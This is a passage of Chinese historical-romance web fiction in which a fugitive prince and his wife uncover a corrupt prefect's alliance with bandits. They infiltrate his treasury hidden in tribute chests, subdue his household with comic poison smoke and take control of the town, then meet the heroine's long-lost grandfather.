他看陆枝还在安睡,会轻手轻脚地起来穿衣,出门前也总会亲亲陆枝的额头。
陆枝心知自己不该落下武功,故而在起后会自己再找个地方独自练一会儿。
她学的是剑,谢玄特意亲手打了两把剑,正好是一对,她的这把取名昭明,谢玄的那把取名云霄。
关于剑名,谢玄如是解释道:“你是那明媚的朝阳,我便做绕朝阳而生的层云,不离不分。”
陆枝感动,将两把剑养护得十分仔细。
袖箭一做好便送到了陆枝这。
陆枝立了几个靶子教寨中女子如何使用袖箭,她站在靶子五米开外的地方,指着袖箭上的一个按钮机关道:“将袖箭戴在腕间,只要按下这,过大抵五个数,”她将手甩出对准靶心,“袖箭便能射出去。”
那袖箭正中靶心。
她道:“袖箭距离大抵我到立靶只有这般远,不过若是有人近身也足够用了,各位姐姐都来试试?”
这群女子从未碰过这类伤人事物,犹犹豫豫地按下按钮后吓得立即将手甩出,扭过头紧闭着眼睛不敢去看,结果袖箭飞得满天都是,落在地上砸出一片哗啦啦
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的声响。
若非这些箭镞是可循环利用的,陆枝铁定要心疼一会儿。
这甩的都是钱啊……
女子们看着满地落箭,略带抱歉地看向陆枝。
陆枝笑笑:“无妨,多试试便好了。”
“若娘,你也跟着多试试。”
若娘:“好。”
众人按照陆枝教的方法摸索着去试,袖箭小巧,箭镞只能装五支。
五支试完,他们便捡起地上的箭镞安进机关从头来过。
陆枝站在后面看众人练了一会儿,看她们渐入佳境,便打算离开回屋继续捣鼓她的药丸。
而且过段时间便要中秋了,她也要想想怎么让众人好好过个节。
楚悦练得最好,正中了靶心,欲向陆枝分享喜悦,见陆枝要走,喊道:“陆姑娘,且留步。”
陆枝止步:“楚姐姐有事?”
楚悦:“我方才命中靶心了。”
陆枝看向那个靶子,露出笑容,毫不吝啬地夸奖道:“楚姐姐初次用袖箭便可命中靶心,可见姐姐实在聪慧。”
“其他姐姐未曾命中也无需气馁,若想要回回命中非一朝一夕之功,勤加练习,定能达成。”
楚悦一众人将这段日子里陆枝的所作所为都看在眼里,认定她非穷凶极恶之人,而且临近中秋,她们心中愈发担忧,决意将所知晓的告知陆枝。
楚悦看了眼众人,众人对她点头,她继续道:“我们有一事要告诉姑娘。”
陆枝察觉到她们是要说什么重要的事,她猜想很可能是解开她和谢玄疑惑的重要线索。
她看了眼附近有人走动,便道:“想来姐姐们是有重要之事要说,不妨咱们进屋讲。”
入屋后,楚悦双手搭在一起垂首鞠躬,道:“中秋将近,姑娘定要小心。”
陆枝不解:“楚姐姐这是何意?”
楚悦看着陆枝,面色凝重:“凤州州官每逢中秋便会让人上山来索要安寨费。”
陆枝的眉头瞬间皱了起来:“你说什么?”
她虽然心里信隐隐对州官有过一点猜测,但她并不希望这个猜测成真,所以并没有和谢玄讲,后沐武下山打探到城内并没有什么特别强势的家族,她对州官的怀疑便更甚了。
当下楚悦说出来,她并不惊讶,而是心头沉重。
楚悦面露愤恨:“凤州州官与匪勾结,他才是凤州最大的匪患!”
陆枝的眉头皱成了山峰。
不好的猜测还是成了真。
若是州官,这一切便都更说得通了。
因为有州官暗中打点,以凤州百姓作为保命牌,这座山寨里的匪寇明明不成气候,却能惹得朝廷讨伐回回落空。
按楚悦所说,凤州州官向山匪索要安寨费,那就说明这些山匪都是他特意豢养的!
怪不得元霜不跑,是跑也无用。
想来山匪下山抢掠百姓,大概率也是他指使的。
若真如此,那这州官当真是个穷凶极恶的吸血鬼,竟以一州百姓的血汗钱来供养自己!
陆枝沉下眸色,道:“楚姐姐,劳你将所知一五一十全部告知。”
楚悦点头,道:“好。”
29.造反
楚悦生于凤州的小门小户,匪患起时,是最先遭受其害的那一批。
家宅倾覆,双亲惨死,自己也被虏进山寨做奴做婢,受尽屈辱。
她尝试逃跑,有一次真的成功了,她满怀希望地跑下山敲响鸣冤鼓,堂上州官听了她的冤情,表面答应替她主持公道,背地里却便联络了山寨里的人来将她抓了回去。
州官绑了她,将她亲手交给马端,马端对他表现得恭恭敬敬。
那时楚悦才知自己所依赖的父母官是一个魔鬼,没有人能为她主持公道,她被绑回山寨饱受欺凌和毒打,但她仍然不肯死心,表面上乖乖听话,背地里试图找到州官与山匪勾结的证据公之于众,免更多人受害。
后来又有女子被陆陆续续地绑来,她们同楚悦一样不甘心,试图逃跑,但很少有人能成功,就算有侥幸成功逃出的,最终也会被送回来。
楚悦浑身颤抖:“哪怕……哪怕她们听了我的劝没有去报官,还是……会被抓回来。”
陆枝眉心紧拧:“是因为山下有州官的人?”
楚悦眼底一片愤愤:“是!逃出去的姐妹陆陆续续被人扭送回来,渐渐地我们知晓,城中的大家族都是州官钱瑞的走狗!他们在城内布了眼线,只要山上的人一下山入城,就会被人发现,跑去哪里都没用。”
她喉间发出哽咽:“而被捉回来的下场……许多女子因不堪受辱自尽而亡,尸体被马端派人一同扔进坑内,便那样填土埋了,连草席都不曾裹一张。”
陆枝拿出手帕递给楚悦,拍了拍她的背,她很同情这些女子的遭遇,恶人马端已经被他们所杀,但愿能让她们的心里畅快些。
但她知道,只要州官还在,她们就会永远地活在阴影里,那种头上顶着一片阴霾苟且偷生的感觉她太过了解了,她想帮一帮她们。
她也曾生活在某片阴霾之下,而她也曾受到过一个人的帮助。
他救她于水火,让她短暂的生命得以多看几场太阳东升西落、与四季轮回。
陆枝道:“诸位姐姐,此事多谢相告,我会做好安排,陆枝承诺,会让诸位姐姐光明正大地下山,生活在阳光里。”
……
陆枝走到后山上,转身看了眼房屋村落的山寨,其实她也没想好后面该怎么办,也许一辈子隐居在这山上是个不错的选择,且此处已被她打理得有了几分家的味道,可她却始终无法在此处寻得心安。
她总觉得自己不属于这里。
陆枝的目光从屋顶落到了底下拿着刚洗好的衣裳出来晾的若娘身上,忽然就明白了为何。
在京城时,她将跟在她身边的利害全部剖析给若娘听,若娘最终还是留在了她的身边,这是若娘自己的选择。
若娘选择了她,所以一路从不言苦,从不心忧,因为她选择的人一直就在自己身旁。
她在这里,并不是因为她主动选择了这里,而是她被迫待在了这里,整个大栾都在通缉她和谢玄,他们无处可去。
她同那些身世可怜的女子一样,走不出这座山。
可是为何?为何她就一定要苟且偷生?为何她们什么都没做错就一定要受到狗官的压迫?
还有谢玄……
她在看见双亲惨死之时尚且恨意横生,遑论谢玄是亲眼所见母妃死在自己眼前。
她当初是怎么说出让谢玄不要复仇这样的话的?
只要谢瓒励精图治,大栾百姓安居乐业,谢玄甘愿把个人仇恨放在家国和平之后。
这样的谢玄很伟大,也……很委屈啊。
身后篱笆内的公鸡凑了过来,咯咯地叫,似乎是在求食。
陆枝抓起一把黍米扔了进去,一群公鸡母鸡立即簇拥成一团,有几只体型小的努力往里挤却完全挤不进去。
她又抓了好几把黍米撒进去,小只的立马跑向空旷的那边低头专心啄食,挤成一团的家鸡们见吃食足够,逐渐分散开。
这群鸡无论大的小的,无论当下活得有多欢乐,最终都逃不过沦为盘中餐的命运。
陆枝看了它们一小会儿,拍掉手上的灰尘,转身往底下的屋舍走去。
她陆枝绝对不要做任人宰割的鱼肉,而且她从来不是愿意把委屈吞咽进肚里的人!
她自己受不得委屈,也看不得身边的人受委屈,谢玄无须那般伟大。
这天下,谢瓒不配坐!
陆枝走着走着跑了起来,她跑出山林笼罩而成的阴影,跑入晴朗的阳光里。
若娘看陆枝急匆匆地奔跑,喊道:“小姐,您跑得这般急是要做何事去?”
陆枝没有停下答话,她一路向前,跑到了谢玄的面前。
谢玄还在训练将士,他一看见陆枝便给沐武打了个手势,朝她跑去:“可是出何事了?怎跑得这般急?”
陆枝摇了摇头,额头因奔跑而冒出了一层细汗,她顾不得去擦,仰起头看着谢玄的眼睛,目色明朗:“谢玄,我们造反吧。”
谢玄不知道陆枝为何突然会找他说这个,但只要是她想要的,他都愿意为她达成,于是他未问缘由,嘴角浮出一丝清浅的笑意,答道:“好。”
今日天朗气清,惠风和畅,日子平平无奇,他们没有宣誓,也没有争执,就这么简单又平和地决定了造反。
从凤州开始。
杀回京城。
……
中秋当日。
所谓的州官使者来到寨前索要安寨费,楚悦带着一群人抬着五个大箱子走了出来。
使者让人打开箱子,确认装的都是白银和珠宝,十分满意道:“做得不错,我会向大人如实秉明。”
楚悦:“多谢使者大人。”
使者扫了一圈抬箱子的大汉,眯起了眼睛:“这几人……我为何从没见过?马端呢?今日怎么没有出来?”
“而且今日是中秋,这寨子里怎地这般安静?”
楚悦:“回使者大人,这几位是寨主新招来的小弟,寨主有心培养他们,特意交代让他们到使者面前混个眼熟。”
她拿出一个荷包,里头传来低微清脆的碰响,她走到使者面前将荷包偷偷塞给使者,低声道:“使者大人,寨主今日吃醉了酒,让人不要扰他睡觉故而才如此安静,这是寨主特意孝敬给您的,还望使者大人勿将寨主今日失仪告知州官大人。”
这位使者向来不喜欢进山寨见那群长得磕碜的山匪,他接过荷包顺道摸了一把楚悦的手,楚悦恶心至极也要强忍着露出笑容。
使者掂了掂手中的荷包,险些没拿稳,可见分量很足,他打开一个小口,看到金黄的一角,立即收起荷包塞进怀里,道:“咳咳,这寨主吃醉了酒正当酣眠,不便面见也是情有可原,本使者自然不
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会因为这点小事便向大人告状。”
楚悦:“使者大人大人大量。”
使者看向几个大汉:“你们几个,既要混眼熟,就好生将箱子抬到马车上去。莫要翻了,否则有你们好看!”
几人答道:“是,大人。”
这几人当真抬得十分小心谨慎,生怕将箱子磕了碰了。
使者带着车马离开,楚悦看他的踪影彻底不见,急急忙忙跑回寨里:“陈统领,箱子已装上马车。陆姑娘他们……当真会无事吗?”
陈冕从门后走出来:“姑娘安心,我家公子夫人还有那两位小哥都有武功傍身皆能自保,若娘姑娘有夫人给的药傍身也能自保,这一行人无需担心。”
他手指掩在唇边吹了个口哨,一群掩藏在黑暗中的人从各处跑出来列成整齐的方阵。
陈冕:“兄弟们,公子夫人为我们开路,我们今夜趁着夜色下山潜伏进城内各处,准备随时接应公子夫人。”
众人:“是!”
陈冕看向楚悦:“楚姑娘与另外几位姑娘便留在山上,我会留些人在这保护你们。”
楚悦想去帮陆枝,在她看来,陆枝是听了她们的遭遇才冒险要去为她们报仇讨公道,她怎么能让陆枝去犯险,而她躲在后面坐等结果?
她道:“陈统领,我跟你一起下山,我常被派去山下采买,城中的情况我比你们熟,我可以帮到你们。”
陈冕为难:“这……”陆枝特地交代过,要保护好她们。
其他七位女子跑了出来:“我们也去,我们也想帮忙。”
元霜道:“陈统领,城中几大家族的人我们都识得一些,有我们提醒,你们能避开他们。”
“而且,”她握住右手手腕,“有陆姑娘给我们的袖箭,若碰着危险,我们可以自保。”
陈冕打量着她们,见她们眼神坚定,是下定了决心,他轻微叹了口气,喊了十六个人出列,下令道:“你们各两人保护好一位姑娘。”
他对八位女子道:“还望各位姑娘跟好他们。”
楚悦等人点头。
……
山路崎岖不平,陆枝缩在箱子底部,纵然若娘已经事先铺了一层棉布,她还是被磕得腰疼。
谢玄和沐武两人个头大,在这等逼仄的空间内更是难受,最受罪的便是脖子和腿,因为蜷缩着,已经发酸发疼。
金承和若娘也不好受,金承是还没长开,若娘是个头小,马车一颠簸,他们便会因为空出的余量磕到手肘,一整条山路走下来,手臂的麻劲就没停过。
马车又一个大的颠簸,上层的白银被颠得撞出哗啦啦的碎响,听着仿佛是要全砸下来。
陆枝咬牙忍住腰间愈发剧烈的疼痛,心想:这该死的凤州州官,她一定要把他大卸八块!
车辆似乎终于驶入了平缓的地段不再颠簸,最终停了下来。
没一会儿,陆枝感到箱子被人抬了起来,抬箱之人似乎没什么气力,抬的高度不够,箱角磕上门槛,连带着陆枝磕到了额角。
“你们……#¥*”
抬箱之人一走进屋内便将箱子猛地一放,陆枝顿时眼冒金星,清晰地听见自己的骨头发出了咯吱声响。
腰间爆发出巨大的疼痛感,她几乎把唇咬破才忍住喊疼。
你们这群人。
死定了!
30.掌控
箱子上方传来哐当一声,是被上了锁,不久后,随着吱呀一声,四周恢复安静。
陆枝屏息静听了一会儿,皱着眉头摸索箱壁上的机关,啪嗒一声,箱体背面弹出一条细缝,外头的光漏了进来。
她用手一推,哐——
箱体背后的木板倒地,大片的光涌进来,陆枝忍着疼痛钻出箱子,瘫在地上。
其余四个箱子里的人听见声响,摸索到机关一按、再一推,几人接连从箱子里钻出来。
谢玄:“枝儿,伤到哪儿了?”
陆枝偏过头看他,说话有点费力:“一、腰。”
谢玄将陆枝抱起放在箱盖上坐着:“扶好我,我给你揉揉。”
陆枝环住谢玄的腰,把头埋进他的怀里,点了点头。
谢玄一寸一寸按压陆枝腰上的肌肉,找到她最为疼痛的点后,力道由浅及深按压。
陆枝一开始疼得受不了,把谢玄抱得死紧,谢玄拍了拍她的背:“放松。”
她听话地将绷直的背放松,腰间的疼痛感渐渐转化为酸痛感,又在谢玄的按压下慢慢如潮水退去。
陆枝在谢玄的怀里仰起头,眨巴着大眼睛看着他。
这手法……谢玄是按摩师傅转世么?
谢玄笑笑:“以前母妃常犯腰疼,我跟着太医学了段时日。”
他补充道:“便跟你学开锁一样。”
陆枝点头,拍了拍谢玄的腰:“你下来些。”
谢玄弯下腰,陆枝学着谢玄的手法生疏地给他按脖子:“感觉如何?”
感觉算不上好也算不上坏,谢玄笑道:“已然舒坦许多。”
沐武、金承和若娘不自在地别过头,在一旁舒展着身体。
谢玄看着陆枝的眼睛:“好了,该干正事了。”
陆枝点头:“嗯。”
她从箱子里取出昭明,打量着这间屋室:“想必这就是那狗官的金库了。”
金承去推门没有推开:“师姐,外头锁上了。”
陆枝:“毕竟是金库,定然是要落锁的。”
金承:“那我们怎么出去?”
谢玄:“也不一定要出去。”
沐武:“是将人引过来?”
若娘:“可这样一来,咱们不就被包围了吗?”
陆枝冲若娘挑眉:“这不就要用到你带的东西了吗?”
若娘恍然,从腰间的兜里拿出几个药瓶:“可是这要如何撒给外面的人呢?”
陆枝:“用火。”
金承立即领会,掏出火折子:“可是师姐,若里头烧起来,咱们也逃不出去啊。”
陆枝:“所以让人知道烧起来了就成,箱底有若娘铺的棉布,就烧那些,放在门口烧。”
“若有人来,一进门就能吸入毒药,若无人来,将门烧了咱们也能出去。”
金承:“好。”
若娘拿出另一个细瓶,往每个人的手心里倒了一颗药丸:“这是解药。”
众人仰头吞下药丸,一同将棉布拿到门边,若娘往上头撒下毒粉,金承蹲下身子将棉布引燃。
零点的火星很快蔓延开,冒出一小簇火苗,陆枝拿下壁灯,将灯油撒在火苗上,火势瞬间扑腾起来。
“走,去那边角落。”
焦糊的气味很快弥漫开来,伴随着一股难闻的有些臭的药味。
众人纷纷捂住口鼻。
陆枝也抬手捂住,声音瓮瓮的:“这毒药是第一次火烧,没想到这般难闻,我下回改进哈。”
起火的烟雾蔓延开,从门缝钻了几缕出去,大门沾染上火势,屋内的烟雾蔓延得更快了,十分呛人。
陆枝心想:门被烧得松动了,再等三十个数,他们就踹门出去,在这里面待久了会有危险。
三十。
二十九。
二十八。
二十七。
“来人啊!走水啦!”
外头传来大声叫喊,陆枝停下倒数。
人来了。
外头的人大喊:“快,取水!快些跑!”
听声音像是那个所谓的使者,他喊道:“你这开锁的手脚快一点!这般磨磨蹭蹭,这里头的东西烧毁了,你赔得起吗?”
开锁的家丁忍着手灼伤的痛苦咬牙将锁打开。
使者一脚将门踹开,被里头的气味和烟雾扑了个满面,顿时两眼一翻白,晕了过去。
钱瑞急急忙忙跑来,对着提着水桶之人就是一顿踹:“再跑快点!养着你们干什么吃的!”
开锁的家丁将使者拖到空地上,给救火之人腾出地方。
十几桶冷水接连往屋内泼洒,棉布上的火苗被扑灭,难闻的气味瞬间铺散开,屋外的人被熏得手脚发麻,瘫倒在地上蠕动,屋外的人离得近,当即惊起呕声一片。
金承掐着脖子干呕:“师姐,你这造的是何毒,也太厉、厉害了、了些,呕~”
绕是谢玄这般冷静自持之人,也捏着鼻子脸色铁青。
陆枝:“呕~我下回一定改进,呕~先别说了,快出去,呕~”
再待在里面,她没中毒也快要被熏晕了。
本想呼吸个新鲜空气,结果外头的空气也没新鲜到哪去,庞臭的气味占据整片空间,满地都是口吐白沫痉挛的人。
陆枝有些怀疑自己造了个生化武器出来,怎么感觉她老是“伤敌一千,自损八百”?
她指了指隔壁的院子,示意先去那边的屋顶上待会,隔壁院子看起来受害不严重,应该会好一些。
州官府中听见动静的人都朝这边跑来,看见陆枝等人,厉声大喝:“尔等何人!”
又瞧见倒在地上抽搐的钱瑞,惊道:“是刺客!来人,快抓住他们!”
一群人毫无防备地跑进毒气弥漫的院子,顿时中招,倒地不起。
陆枝:“……”
感谢白送。
若娘:“小姐,他们……”
陆枝咳了两声,口鼻腔内尽是那股挥之不去的臭味,说道:“先别管他们了,暂时死不了。”
“待这气味散去再说。”
……
钱瑞被金承五花大绑扔在陆枝和谢玄面前,那些中了毒的家丁和侍卫已经让若娘喂下解药,这会儿和钱瑞的一众家眷一起围在屋子外面。
陆枝连喝了好几杯茶才把嘴里那股怪味冲下,她道:“钱州官,有礼了。”
钱瑞嘴里被若娘塞了布团,呜呜咽咽地叫唤。
陆枝睨了他一眼:“吐掉不就好了?还要人帮你拿掉?”
钱瑞:“……”
他用舌头把布团抵出去,一口呸掉:“殿下,殿下,不知殿下大驾光临,下官有失远迎。”
钱瑞的求生欲望十分强烈:“殿下放心,我定不会将殿下在凤州一事上报给朝廷,殿下想在凤州待多久就待多久,下官一定好好招待。”
谢玄抿了一口茶,放下茶杯,慢条斯理地说道:“何处有殿下?”
钱瑞意会:“是是是,此处没有殿下,只有我请来做客的
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贵人。”
陆枝心道:不愧是当官的,处事就是圆滑。
钱瑞:“公子,我这仰着头说话挺难受的,您看能不能让我站起来回话?”
谢玄冲沐武使了个眼色,沐武将钱瑞一把提溜起来。
谢玄:“我且问你,山上匪寇可是你所豢养?”
钱瑞一听立马跪下:“这,冤枉啊,下官是朝廷的官员,拿的是朝廷的俸禄,怎敢私养匪寇啊?”
“哦?你不敢?”谢玄挑眉,诈道:“可那马端亲口指证他是受你指使占山为寇,替你征敛钱财。”
“更何况,”他顿了顿,“若此事不属实,钱大人作为朝廷官员,俸禄有限,那金库里的金银未免也太过多了些。”
钱瑞立马找到借口:“不,公子都误会了,这些都是城中各大家族送与我的,我退回去,他们又送了回来,我退回无门便留了下来,用做每月施粥接济百姓,名义都算在各大家族头上。”
谢玄:“这么说来,钱大人还是在做默默无闻的好事了。”
钱瑞:“这为官嘛,不就该为百姓多做点事么。”
陆枝撑着下巴,听得犯困。
这狗官,嘴里没一句实话。
他要是没有那个心收这个钱,别人送回来他再送回去不就行了?
或者他再态度强硬些,严令禁止各大家族往州官府送礼,违者按律惩处,看谁还敢顶风送礼?
陆枝无心与他虚以为蛇,道:“若娘,喂钱大人吃颗药。”
“是。”若娘拿出一颗小药丸递到钱瑞嘴边,“大人,请吧。”
钱瑞不敢吃,但见沐武凑了过来,又不敢不吃。
他将药丸吞咽下去,问道:“夫人,这是?”
陆枝:“毒药。一月毒发一次,只要每月吃下解药便无事。”
她坏笑道:“若是哪一次没吃,这毒发作起来,那痛苦、可是要命的。”
钱瑞脸色变得铁青,用膝盖爬到陆枝面前:“夫人,我当真冤枉啊,您就放过我吧,我一定会乖乖听话。”
陆枝:“是,只要你乖乖听话,我也会每月按时给你解药。”
“既然你说城中各大家族都如此爱戴你,都争抢着向你送礼,那你将各家族的主事人请来州官府也不是什么难事吧。”
钱瑞瞳孔骤缩,她这是要夺了他的根基,他们是铁了心要凤州。
若凤州到手,他们会给他活路吗?那定然是不会的,卸磨杀驴的事情他做得多了,最是明白下场是个怎样。
可若是不答应,他怕是现在就会被杀死,眼下只能先拖延了,只要……
钱瑞:“夫人,这事好办,只要我给各大家主写封邀请函,他们便会来。”
陆枝一笑,向后靠去:“不了,我后悔了,已经不需要你了。”
“方才我想了一想,若是你要是暗中传个信什么的,危险的岂不是我们?毕竟我们又不知你和各大家主之间的暗号。”
她冲着前面抬了抬下巴:“钱大人你看,你叫去报信的人让我们的人给抓回来了。”
金承拿下钱瑞就给陈冕传了信,陈冕带着人埋伏在州官府四周蹲人。
金承则守在后门,果真抓到一个企图跑出去报信之人。
钱瑞一看见家丁,顿时面如死灰。
对方准备得周全,他完全没有偷奸耍滑的余地,只能配合。
次日,各大家主应邀来到州官府做客,在钱瑞“盛情”的举杯邀请下,喝下了陆枝喂给钱瑞吃的一样的毒药。
31.司衡
陆枝和谢玄藏在屏风后观察,席上众人基本都喝下了毒酒,唯独一人,未碰酒盏和饭菜,此人生得正派俊俏,时不时地掩唇咳上两声,仿佛是个病秧子。
可陆枝却看出此人并未生病,是装的。
若身患重疾,再怎么掩饰,身上的药味也没法藏住,一行一动,皆会散出药味,再浅淡她都能察觉。
但此人身上没有。
席上的人陆陆续续倒在桌上,此人安静地坐着,并不慌张。
陆枝双手环胸,手指一下一下地点在手臂上。
只剩这一个人,纵然他武功高强也不怕,她和谢玄完全能够拿下。
不过,看此人面色镇定,也不着急离开,像是在等背后之人,也就是他们。
谢玄轻声道:“走吧,他是在等我们。”
陆枝同意此话,放下双手,和谢玄一同走了出去。
“敢问这位家主,如何称呼?”
男子起身作揖:“鄙人姓司名衡,见过二皇子、二皇妃。”
陆枝着实惊讶了一下,这人竟知晓他们的身份,如何知晓的?又是何时知晓的?
她慢慢将手搭上腰间,欲取匕首。
司衡见状,道:“皇妃不必忧心,二人的身份我并未公之于众。”
看来是有事要同他们谈。
陆枝和谢玄对视一眼,做了个请的手势。
三人走进一间安静的屋子,陆枝单刀直入地问道:“敢问司家主是如何知晓我们的?又是何时知晓的?”
司衡:“山上曾下来一位少侠,我家的暗卫瞧见了,我便派了人去山上打探。”
陆枝微微垂眸,是沐武。
当初谢玄让沐武下山打听城中情况,她确实忽略了这一点,就是沐武会被山下的眼线盯上,不过那时她也不知晓州官与各家族的关系。
后来楚悦说山下有眼线,而沐武未曾引来尾巴,确实让她觉得有些奇怪。
陆枝问道:“司家主隐而不发,是有所求还是欲要挟我们做些什么?”
司衡:“皇妃言重,若为要挟,司某今日定然走不出这州官府。”
陆枝似笑非笑:“非也,今日若是司家主未曾归家,怕是明日满城都是我们藏身在凤州的消息了。”
司衡不置可否,他朝着谢玄跪下:“司衡,愿做殿下臣。”
陆枝和谢玄皆是一惊。
谢玄挑眉:“你想入仕,怎会选我?如今我乃大栾追击逃犯,你欲在我手下博前程实属让人费解。”
“若你向当今天子告发,岂不是更快?”
司衡抬眸:“此途径的确是快,但前途有限,不瞒殿下,司某好赌,不赌钱财,而赌……”
他看向谢玄:“命运和机缘。”
有点意思,陆枝心想,不过光靠嘴说说可不能让人信服,他看起来是个聪明人,总不会以为她和谢玄很好骗吧。
陆枝瞄了一眼谢玄,看他摸着下巴没有说话,便知他同她想得一样。
谢玄:“司家主因何而赌?”
司衡:“天性使然。”
谢玄轻笑出声:“司家主这是在将我当作三岁幼童看待?”
司衡:“司某不敢,为表诚心,司某明日会送给殿下一份大礼。”
“一份、对殿下绝对有利的大礼。”
陆枝被勾起好奇心,对谢玄绝对有利?
金钱?武器?还是……
兵?
就算司家身为贵族,私养亲兵也是重罪,这个司衡这般大胆?
她不讨厌有胆量之人,前提条件是这有胆量之人是她这边的。
这个司衡明显还不是。
可是……
她真的很想知道司衡能给谢玄什么。
绝对有利。
对现在势单力薄的他们来说,诱惑不小。
谢玄见陆枝咬着手指甲似乎很是纠结,他微微扯了下嘴角,道:“那我便拭目以待了。”
陆枝:“!”
她看向谢玄,面露疑惑,好似在问:“这般简单便答应了?”
谢玄微微摇头,示意无妨。
司衡起身,作揖道:“那司某明日再来拜访殿下、皇妃。”
陆枝:“司家主留步。”
她走到司衡面前摊开掌心,一粒红色的药丸在她白皙的掌心中显得过分鲜艳。
“还请司家主吃下它,明日司家主来我会给司家主解药。”
若司衡所说的大礼只是他想要离开的权宜之计,那他们岂不是放虎归山?
她向来不喜欢处于被动,无论司衡有没有这份大礼,她都要有能够牵制住他的事物。
而命向来是她的首选要挟条件,毕竟……谁会不惜命呢?
就算司衡今夜归去后到处散播他们藏身凤州的消息,他们不得已再度逃亡,但司衡也会付出代价,他一定会、在他们被抓住之前死掉。
陆枝的嘴角残留着浅淡的笑意,看着司衡毫不退让,似一种无声的威胁。
她是个极端的人,要么司衡乖乖吃了毒药走出州官府,要么她现在就杀了司衡,大不了再带着人趁着夜色逃离凤州。
司衡倒是十分爽快,他看了眼陆枝,拿起毒药就吞了下去:“如此,皇妃可安心了?”
陆枝:“谢家主配合。请。”
“那便明日见。”
司衡告辞离开。
谢玄看着司衡的背影消失在拐角,道:“枝儿,其实有方案将药丸卡在喉咙不咽下去。”
陆枝点点头:“嗯,所以那粒药丸并非是我真正的倚仗。”
谢玄:“哦?”
陆枝指了指桌上的熏香:“曾在谢瓒身上用了这个法子,我发觉还挺好用的。”
谢玄哑然失笑:“你呀。”
陆枝耸了耸肩。
“你说他要送你的到底是什么?”
谢玄望向某处虚空:“我猜、是个人。”
陆枝:“?”
她眯起眼睛:“是男子还是女子?”
谢玄一笑:“应是男子,若是女子,明日便不要将解药给他。”
陆枝撇嘴:“那可不行,若真是什么大能之人,是女子又如何,对咱们有益就该留下来。”
谢玄:“可若是女子,岂不是会让你不开心?”
陆枝:“不,我对自己、对你有着……”
她纤纤玉指点在谢玄的胸膛上,绽放出一个灿烂的笑容,道:“绝对自信。”
谢玄俯身吻了吻陆枝的鼻尖。
“我甚幸之。”
陆枝:“不过,你怎知晓会是个人?”
谢玄:“猜的。”
陆枝:“你猜是何人?快告诉我。”
谢玄:“只是猜测,并非
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定然,便先不说。”
他摸了摸陆枝的头:“别急,到了明日便会知晓了。”
陆枝噘嘴:“好、吧。”
……
其他家主和钱瑞一同被绑在大厅内,众人纷纷醒来,一见自己被绑着,立即扭动身体欲图挣脱。
“州长大人,这,这怎么回事?为何我们会被绑在此?”
钱瑞有过一次经验,放弃挣扎,开口劝道:“诸位还是省着点气力吧,待会好好讲话,切莫惹怒那两位阎王。”
姓田的家主问道:“两位阎王?钱大人说的是何人?他们为何要绑我们?”
钱瑞一想到自己立马就要变成阶下囚,烦躁得无心理会他们:“你等很快便会知晓。”
几位家主面面相觑,不死心地挣扎着。
钱瑞懒得多劝,随他们去。
几人挣扎了一段时间终于发现,他们被粗麻绳索团团绑住,可绳结不在他们任何一人身上,两端绳结各绑在一根柱子上。
他们终日养尊处优,不做重活不使大力,挣扎了这么一会儿便觉力竭,终是认命般地放弃挣扎,惶惶不安地等着钱瑞所说之人。
陆枝有心熬一熬他们,并没有出现。
她四仰八叉地躺在屋顶上看着半轮明月。
说来也奇怪,明明是同一轮月,在怙州时,瞧着是明亮如天光;在京城时,瞧着虽冷也多情;在此处瞧着,却是有几分荒凉。
明明是同一轮月……
“是啊,明明是同一轮月,”陆枝喃喃自语,“但不同时啊。”
月还是那轮月,人也还是那个人,今时是今时,往日是往日,心境不同,情自不同。
谢玄跃然落在屋檐上,躺在陆枝身旁:“想娘亲了?”
陆枝微微摇头:“不想,当下正与她两两相望,无需想。”
她举起手屈起食指和拇指,眯起眼睛,月亮便好似被她捏在指间:“谢玄,我小时候可喜欢这样捉月亮了,就好像整个世界的光芒都由我掌控。”
“只要我握住手,夜晚就会变暗,”她蜷起拳头又放开,“只要我张开手,夜晚又会重新亮起来。”
“有点自欺欺人,是吧?”她轻轻笑着,“其实无论是我握住手还是张开手,月亮都在那,亮着或变暗,都与我无关。”
“不。”谢玄侧过身体,抬起手抓住陆枝举起的手,将她的手圈进手心,另一只手捂住她的眼睛,轻声道:“现下整个夜晚都变暗了。”
他拨开陆枝的手指,与她十指相扣,拿开放在她眼睛上的手:“而此刻,夜晚亮了。”
陆枝眼眶一热。
真幼稚啊,她想。
但,就算是这么幼稚的事,和喜欢的人一起做,也会让人感到幸福。
人活着就是为了某个瞬间。
陆枝对这句话有了些体会。
她希望时间不要停,不要定格在此刻,她要带着这个瞬间一直走下去,积攒更多的瞬间,直到生命的尽头。
时间不要停。
好在,时间不会停。
陆枝翻过身,整个人埋进谢玄的怀里,她的声音仿若轻羽,道:“谢玄,你一定要变成老头子啊。”
……
司衡守约送来大礼。
如谢玄猜测的一样,是个人,是个男子。
如司衡所说,此人对谢玄绝对有利。
32.往事
司衡带来的人瞧着是位上了年纪的将军,两鬓繁霜,身上散发着长年累月金戈铁马杀敌积攒而下的戾气,眉目刚毅,一派威严之相。
虽说瞧着是位将军,但穿着却十分朴素,不像是在领兵打仗,更像是已卸甲归田。
谢玄朝其行小辈之礼:“霍老将军,多年不见,可还安好?”
嗯?熟人?
陆枝拉了拉谢玄的衣角,低声问道:“你认识啊?”
谢玄:“嗯,幼时得过将军几句教诲,既是尊长也算作传道授业之恩师。”
霍仲寒摆摆手:“殿下言重,不过几句老头子的唠叨,算不上传道授业。”
谢玄:“一日为师终身为父,幼时点拨之恩定不敢忘。”
霍仲寒看向陆枝:“小丫头,这是老夫第一次见你。”
陆枝不明所以:“霍老将军,您识得我?”
她朝霍仲寒鞠了一躬,略带抱歉道:“霍老将军莫怪罪,陆枝并不识得您。”
霍仲寒目光平静:“霍无尊乃老夫最小的儿子。”
陆枝一时间没站稳,向后退了两步。
谢玄将她扶住。
陆枝动了动嘴,想说些什么却发觉喉间的水分仿佛瞬间被蒸发掉,又干又涩,她艰难地吞咽口水,许久才缓缓道:“您、您是……”
爹爹的爹,那便是爷爷?
她还有亲人?
霍无尊从未说过他的身世,陆枝也从不问,那时对她重要的是,只要霍无尊在便已足够,那些恼人往事不提也罢。
霍仲寒:“纵然无尊与家族断绝关系,老夫也不可能真的不认这个儿子。”
“他的事我都知晓了。”他叹了口气,仿佛又老了几岁:“这些年老夫时常感到后悔,却始终没将他寻回,不曾想,竟天人永别。”
“丫头,你既成了他的孩子,便是老夫的孙女。”
真是爷爷。
陆枝大脑一片空白。
好奇怪的感觉,她以为自己在这个世界再也没有亲人了,没想到兜兜转转,还有同她有联系的长辈,就好像是……
爹爹送给她的礼物。
霍无尊知道的,她一直很讨厌孤独。
